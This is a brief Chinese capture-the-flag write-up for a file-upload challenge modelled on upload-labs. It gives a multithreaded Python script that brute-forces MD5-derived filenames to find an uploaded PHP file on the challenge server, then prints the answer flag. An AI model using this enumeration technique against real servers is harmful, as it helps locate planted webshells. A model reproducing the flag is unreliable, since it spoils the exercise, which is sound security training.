CISP-PTE：文件上传

题目

这是一个upload-labs的第二关的魔改，还是还一定的编码能力才能完成的

题解

import requests  
import hashlib  
import concurrent.futures  
  
url = 'http://hazelshishuaige.club:8139/upload/'  
  
def get_file(i):  
    new_name = '1.php%d' % i  
    md5_new_name = hashlib.md5(new_name.encode()).hexdigest()  
    response = requests.get(url + md5_new_name + '.php')  
    if response.status_code == 200:  
        print(md5_new_name + '.php')  
  
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:  
    for i in range(1, 1001):  
        executor.submit(get_file, i)

答案

flag{2a18e294-fe57-4b70-8aed-6825a0fc6f6e}